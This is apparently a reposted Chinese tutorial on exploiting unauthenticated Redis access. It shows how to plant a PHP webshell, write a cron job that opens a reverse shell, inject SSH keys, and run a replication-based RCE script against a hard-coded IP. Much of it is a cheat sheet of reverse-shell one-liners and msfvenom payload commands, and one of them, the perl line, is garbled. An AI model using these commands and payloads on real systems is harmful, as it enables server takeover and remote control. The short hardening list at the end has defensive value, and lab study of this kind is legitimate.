Redis未授权访问漏洞原理

news2025/2/22 1:45:45

redis未授权访问漏洞

目录

  • redis未授权访问漏洞
    • 一、Redis介绍
    • 二、redis环境安装
    • 三、漏洞原理
    • 四、漏洞复现
      • 4.1 webshell提权
      • 4.2redis写入计划任务反弹shell
      • 4.3 ssh key免密登录
      • 4.4 Redis基于主从复制的RCE方式
    • 五、Redis加固建议

一、Redis介绍

Redis,全称为Remote Dictionary Server(远程字典服务器),是一种开源的内存数据结构存储系统,主要用作数据库、缓存和消息中间件。 redis支持多种类型的数据结构,如字符串(strings),散列(hashes), 列表(lists),集合(sets),有序集合(sorted sets)。redis数据库能够存储的数据类型很丰富,应用场景多,同时纯内存的数据结构使它的读写速度很快,功能特性也在逐步丰富。

二、redis环境安装

由于redis未授权访问漏洞本质上是用户配置不当导致,所以redis版本并无严格要求。
这里是用redis源码搭建,编译安装成功以后,里面同时具有redis启动工具和连接工具,因此扮演服务端和客户端的两台设备都需要安装redis服务。

安装实例:

1、下载redis

cd /usr/local/soft ------进入自己安装软件的路径

wget https://download.redis.io/releases/redis-6.0.9.tar.gz

2、解压压缩包

tar -zxvf redis-6.0.9.tar.gz

3、确保gcc版本一定要大于4.9

gcc --version

4、编译安装

cd redis-6.0.9/src

make install

安装成功的结果是src目录下面出现服务端和客户端的脚本:

redis-server

redis-cli

redis-sentinel

5、修改配置文件

默认的配置文件是/usr/local/soft/redis-6.0.9/redis.conf

后台启动,不然窗口一关服务就挂了

daemonize no 改成 daemonize yes

bind 127.0.0.1必须改成0.0.0.0或注释,否则只能在本机访问

requirepass yourpassword 这一行也必须注释掉

6、使用指定配置文件启动Redis

/usr/local/soft/redis-6.0.9/src/redis-server

/usr/local/soft/redis-6.0.9/redis.conf

查看端口是否启动成功:

netstat -an|grep 6379

tips:配置一键命令

vim ~/.bashrc

在这里插入图片描述

source ~/.bashrc ----编译生效

开启一个新页面以后,就可以使用redis打开redis服务了

7、连接redis

/usr/soft/redis-6.0.9/src/redis-cli -h 服务端IP -p 6379

在这里插入图片描述

三、漏洞原理

在学习和利用redis未授权访问漏洞之前,我们需要了解一下redis的持久化机制和它的动态修改配置。

redis是一个基于内存的数据库,redis持久化机制可以将redis数据存储到磁盘上,避免redis数据库数据丢失。数据保存有两种方式,一种是自动触发规则,另一种是手动触发保存。

其中,自动触发规则可以在默认的配置文件/usr/local/soft/redis-6.0.9/redis.conf里找到:
在这里插入图片描述
这里三条已经全部开启,15min修改1条数据触发一次刷盘,5min修改10条数据触发一次刷盘,1min修改10000条数据触发一次刷盘。三条配置互不冲突。

手动保存则输入命令: save 或者 bgsave

我们一般常用的是手动触发保存。

同时在配置文件中可以找到默认保存文件dump.rdb ,以及文件存储位置是在当前目录上一级目录:
在这里插入图片描述
由此看来,redis服务可以动态修改配置,临时修改存储文件路径和存储文件内容。(意味着我们可以写入webshell后门了),但是这些修改只在连接内有效并不会体现在配置文件内,因为动态修改配置并没有往磁盘内存储,所以一旦断开连接再重新连接仍会使用配置文件的配置。

四、漏洞复现

4.1 webshell提权

根据上文,我们知道redis服务可以动态修改配置,临时修改存储文件路径和存储文件内容。那么,当我们已知服务端建立了网络站点或者扫描出网站路径,我们就可以通过动态修改配置,将redis的日志文件路径动态更改网站根目录,文件名更改为redis.php这种以php后缀命名的文件。

流程:
在客户端输入:
config set dir /xp/www/IP_80
config set dbfilename redis.php
save

在这里插入图片描述
因为是靶场,所以我们可以进入服务端验证一下,可以发现我们的文件已经写入了web目录下:

在这里插入图片描述
随后在攻击机中继续添加键值对,设置的value值为一句话木马,然后利用中国蚁剑来连接即可:

在这里插入图片描述

在这里插入图片描述
此时拿到了服务器的权限:

在这里插入图片描述

4.2redis写入计划任务反弹shell

使用反弹连接的原因:

1、内网,私有ip,无公有ip,外界不能直接访问

2、ip处于动态变化

3、6379端口不允许入方向的访问

4、一句话木马被杀软删除

控制机监听端口的方式:

netcat类型

nc -lvp 7777 (-nlvp lvvp)

msf类型
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 客户端IP
set Iport 7777
run

socat类型

socat TCP-LISTEN:7777 - (kali)

靶机反弹连接命令(靶机执行)

Linux bash类型 (不需要攻击机开放指定端口)

bash -i >& /dev/tcp/客户端IP/7777 0>&1

netcat类型 (需要攻击机开放指定端口或关闭防火墙)

nc -e /bin/bash 客户端IP 7777

——————以下是代码建立反弹连接类

python类型 (需要攻击机开放指定端口或关闭防火墙)

python3 -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘客户端IP’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,‘-i’]);”

php类型 (需要攻击机开放指定端口或关闭防火墙)

php -r ‘exec(“/bin/bash -i >&/dev/tcp/客户端IP 7777”);’

Java类型 (需要攻击机开放指定端口或关闭防火墙)

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/客户端IP/7777;cat<&5 | while read line; do $line 2>&5 >&5; done”] as String[])p.waitFor()

perl类型 (需要攻击机开放指定端口或关闭防火墙)

perl -e ‘use Socket; i = " 客户端 I P " ; i="客户端IP"; i="客户端IP";p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/bash -i”);};’

——————以下是msf模块类 (kali)

msf-php类型

msfvenom -p php/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -o shell.php

msf-java类型

msfvenom -p java/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -f war -o shell.war

msfvenom -p java/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -f jar -o shell.jar

msf-exe类型

msfvenom -p windows/meterpreter/reverse_tcp lhost=客户端IP Iport=7777 -i 5 -f exe -o test.exe

在学习计划任务反弹shell时,我们需要先了解一下Cron表达式,cron表达式用于计划任务的触发。
在线生成Cron表达式:Cron - 在线Cron表达式生成器

Linux crontab命令:
crontab -u root -r -----删除某个用户的任务

crontab -u root time.cron -----把文件添加到某个用户的任务

crontab -u root -l -----列举某个用户的任务

crontab -u root -e -----编辑某个用户的任务

/var/spool/cron --(目录) 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab

/etc/crontab --(文件) 放的是对应周期的任务dalily, hourly monthly, weekly

也就是说我们可以通过动态修改redis配置将用户名文件写入/var/spool/cron路径下,文件内容为反弹shell,然后在控制机监听指定端口即可反弹连接shell,

那么我们开始尝试写入反弹shell计划任务:

首先在控制机里连接靶机redis服务:redis-cli -h 服务端IP -p 6379
在这里插入图片描述
然后给控制机新开一个终端,在新终端里监听本机6666端口:nc -lvp 6666
在这里插入图片描述
之后在回到连接redis服务的终端,写入计划任务并动态修改配置文件:

set 1 "\n * * * * * bash -i >& /dev/tcp/客户端IP/6666 0>&1 \n"

config set dir /var/spool/cron

config set dbfilename root

save
在这里插入图片描述
等待一段时间发现连接成功,此时便可以对靶机进行下一步攻击了:
在这里插入图片描述同时我们也可以去靶机验证一下计划任务是否成功被写入:
在这里插入图片描述

4.3 ssh key免密登录

ssh免密登录流程:

1、客户端生成密钥对(公钥和私钥)

输入:ssh-keygen ,之后一路回车(空密码)即可,然后发现$HOME/.ssh/路径下多出了两个密钥文件(私钥和公钥),其中id_rsa.pub为公钥。

在这里插入图片描述

2、客户端把公钥发给服务端保存(正常情况需要密码)

输入:ssh-copy-id root@服务端IP

在这里插入图片描述

验证一下发现确实添加公钥了:

在这里插入图片描述

3、客户端用私钥加密信息,发给服务端

4、服务端用公钥解密,密钥匹配即解密成功

5、客户端免密登录成功

输入:ssh -i /root/.ssh/id_rsa root@服务端IP 到此便完成了ssh免密登录。

在这里插入图片描述

tips:客户端为控制机,服务端为靶机

基于上述流程Redis利用ssh key提权流程为:
1、控制机连接到redis

/usr/soft/redis-6.0.9/src/redis-cli -h 服务端IP -p 6379

在这里插入图片描述

2、向$HOME/.ssh/authorized_keys写入公钥

set xx "\n\n密钥内容\n\n\n"

config set dir /root/.ssh

config set dbfilename authorized_keys

save

在这里插入图片描述

3、ssh -i ./id_rsa user@IP 使用私钥免密登录

ssh -i /root/.ssh/id_rsa root@服务端IP

在这里插入图片描述

登录成功!

4、执行后续操作

4.4 Redis基于主从复制的RCE方式

(这里学习了这位师傅的博客https://www.cnblogs.com/paperpen/p/11178751.html)
因为Redis基于主从复制的rce攻击方式存在于 4.x/5.x的版本中,所以上述服务器中搭建的6.x版本的redis服务无法复现。这里我们选择docker拉取一个redis5.0的镜像:

docker pull damonevking/redis5.0

运行环境:

docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //映射端口并运行容器

下载漏洞利用脚本:
git clone https://github.com/Ridter/redis-rce.git

注意,这里少一个.so的文件,到https://github.com/n0b0dyCN/redis-rogue-server下载并放到和redis-rce.py同一目录下

运行脚本:

python3 redis-rce.py -r 38.147.170.164 -L 38.147.170.164 -f exp.so

在这里插入图片描述

在此处:i为交互式shell,r为反弹shell,根据自己的需要选择就可以了

在这里插入图片描述

五、Redis加固建议

1、部署在内网环境等,如果要部署在外网需要限制访问IP

2、修改默认端口6379,避免被扫描到redis服务

3、使用复杂密码访问,并且定期更换

4、给redis创建一个专用的用户,为了避免 ”在任意路径写入任意文件“ 的事情发生,不要用root运行Redis。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2301537.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

喜报!博睿数据案例获经观传媒“2024年度数字转型创新案例”!

本文已在“经观”APP中发表&#xff0c;点击下方文章链接查看原文&#xff1a; 2024科技创变纪&#xff1a;创新破局 变量启新 近日&#xff0c;经济观察报“2024年度卓越创新实践案例”榜单评选结果正式公布。博睿数据选送的案例“从零到一&#xff1a;可观测体系建设的探索…

【从0做项目】Java搜索引擎(4)——性能优化~烧脑~~~

本篇文章将对项目搜索引擎&#xff08;1&#xff09;~&#xff08;3&#xff09;进行性能优化&#xff0c;包括测试&#xff0c;优化思路&#xff0c;优化前后对比 目录 一&#xff1a;文件读取 二&#xff1a;实现多线程制作索引 1&#xff1a;代码分析 2&#xff1a;代码…

什么是网络安全审计?网络安全审计的作用...

网络安全审计通过对网络数据的采集、分析、识别&#xff0c;实时动态监测通信内容、网络行为和网络流量&#xff0c;发现和捕获各种敏感信息、违规行为&#xff0c;实时报警响应&#xff0c;全面记录网络系统中的各种会话和事件&#xff0c;实现对网络信息的智能关联分析、评估…

【核心算法篇十三】《DeepSeek自监督学习:图像补全预训练方案》

引言:为什么自监督学习成为AI新宠? 在传统监督学习需要海量标注数据的困境下,自监督学习(Self-Supervised Learning)凭借无需人工标注的特性异军突起。想象一下,如果AI能像人类一样通过观察世界自我学习——这正是DeepSeek图像补全方案的技术哲学。根据,自监督学习通过…

【Linux专栏】find命令+同步 实验

Linux & Oracle相关文档,希望互相学习,共同进步 风123456789~-CSDN博客 1.实验背景 需要把一个目录中所有文件,按照目录把某个时间点之前的同步到一个盘中,之后的同步备份到另一个盘中,实现不同时间段的备份。 本次实现目标:把common文件夹中 2025年之后的含文件夹…

vite配置scss全局变量

vite配置scss全局变量 创建单独文件variable.scss在其中定义变量 vite.config.ts中配置 import { defineConfig } from vite import vue from vitejs/plugin-vue import path from path// https://vite.dev/config/ export default defineConfig({plugins: [vue()],resolve:…

Qt开发①Qt的概念+发展+优点+应用+使用

目录 1. Qt的概念和发展 1.1 Qt的概念 1.2 Qt 的发展史&#xff1a; 1.3 Qt 的版本 2. Qt 的优点和应用 2.1 Qt 的优点&#xff1a; 2.2 Qt 的应用场景 2.3 Qt 的应用案例 3. 搭建 Qt 开发环境 3.1 Qt 的开发工具 3.2 Qt SDK 的下载和安装 3.3 Qt 环境变量配置和使…

FastGPT快速将消息发送至飞书

欢迎关注【AI技术开发者】 在很多企业内部场景下&#xff0c;都需要发送数据到内部交流软件&#xff0c;如飞书、钉钉、企业微信 本文就以飞书为例&#xff0c;企业内部其他同事上报故障后&#xff0c;自动发送消息到飞书&#xff0c; 并相关人员 前文中&#xff0c;使用coz…

qsort介绍与实现

qsort qsort 是 C 标准库中的一个通用排序函数&#xff0c;位于 <stdlib.h> 头文件中。它可以对任意类型的数组进行排序&#xff0c;使用的是快速排序&#xff08;Quick Sort&#xff09;算法的变种。 参数说明 base&#xff1a;指向要排序的数组的第一个元素的指针。由…

WPF创建自定义类和控件及打包成dll引用

WPF创建自定义类和控件及打包成dll引用 一、前言二、创建自定义类和控件并生成dll文件2.1创建类库项目2.2创建自定义类和控件2.3生成dll文件 三、在其他项目中引用3.1添加dll文件引用3.2cs文件中引用命名空间3.3XAML文件中引用命名空间 一、前言 出于一些代码复用的需求&#…

DVWA-DOM型XSS全等级绕过方法

DOM型XSS全等级绕过 前言一、LOW级别二、Medium级别 图片插入语句法 三、High级别 字符 # 绕过服务端过滤 四、Impossible级别 前言 DOM&#xff0c;全称Document Object Model&#xff0c;是一个平台和语言都中立的接口&#xff0c;可以使程序和脚本能够动态访问和更新文档…

《[含文档+PPT+源码等]精品基于Python实现的Django中药材在线学习系统的设计与实现

基于Python实现的Django中药材在线学习系统的设计与实现背景&#xff0c;可以从以下几个方面进行阐述&#xff1a; 一、行业背景 随着中医药在全球范围内的不断推广和普及&#xff0c;中药材的知识普及和在线学习需求日益增长。传统的中药材学习方式往往受限于地域、时间和资…

数组和指针常见笔试题(深度剖析)

strlen和sizeof的区别 strlen是统计\0之前的字符个数&#xff0c;传递的是地址 sizeof是计算类型的字节数&#xff0c;其实在编译期间会通过类型来确定大小 下边我来讲一下常见的面试题&#xff0c;过程很详细放心观看 #include<stdio.h>#include <string.h>int …

网络通信-最大传输单元-MTU,网络安全零基础入门到精通实战教程!

文章目录 MTU 引用MTU 介绍 定义MTU 与 VLAN TagVLAN Tag 处理方式 IP分片可靠传输MTU 之 PMTUD PMTUD介绍IP头的DF分片位 DF 0 可以分片DF 1 不可以分片 注意事项 MTU 引用 以太网最初对报文长度没有限制&#xff0c;网络层最大可以接收65535个字节&#xff0c;但是以太…

在nodejs中使用ElasticSearch(一)安装,使用

使用docker安装ElasticSearch和Kibana 1&#xff09;创建相应的data文件夹和子文件夹用来持久化ElasticSearch和kibana数据 2&#xff09;提前创建好elasticsearch配置文件 data/elasticsearch/config/elasticsearch.yml文件 # Elasticsearch Configuration # # NOTE: Elas…

封装一个vue3控制并行任务数量的组合式函数

一. 使用场景 使用环境&#xff1a; vue3 当需要处理多个异步任务时&#xff0c;想要控制并行异步任务的数量&#xff0c;不想所有任务同时执行导致产生性能上的问题&#xff0c; 比如当需要同时发起多个网络请求&#xff0c;但又不想一次性发出过多请求导致服务器压力过大或…

SpringSecurity请求流转的本质

1. SpringSecurity核心源码分析 分析SpringSecurity的核心原理,那么我们从哪开始分析?以及我们要分析哪些内容? 系统启动的时候SpringSecurity做了哪些事情?第一次请求执行的流程是什么?SpringSecurity中的认证流程是怎么样的?1.1 系统启动 当我们的Web服务启动的时候,…

【AI工具之Deepseek+Kimi一键免费生成PPT】

1.打开Deepseek网页&#xff1a;DeepSeek 2.使用Deepseek获得一份PPT大纲&#xff08;输入背景需求约束条件进行提问&#xff09;如下图&#xff1a; 3.复制Deepseek输出的PPT大纲 4.打开Kimi网页&#xff1a;Kimi.ai - 会推理解析&#xff0c;能深度思考的AI助手 5.在Kimi中…

基于微信小程序的宿舍报修管理系统设计与实现,SpringBoot(15500字)+Vue+毕业论文+指导搭建视频

运行环境 jdkmysqlIntelliJ IDEAmaven3微信开发者工具 项目技术SpringBoothtmlcssjsjqueryvue2uni-app 宿舍报修小程序是一个集中管理宿舍维修请求的在线平台&#xff0c;为学生、维修人员和管理员提供了一个便捷、高效的交互界面。以下是关于这些功能的简单介绍&#xff1a; …

DeepSeek 助力 Vue 开发:打造丝滑的右键菜单(RightClickMenu)

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…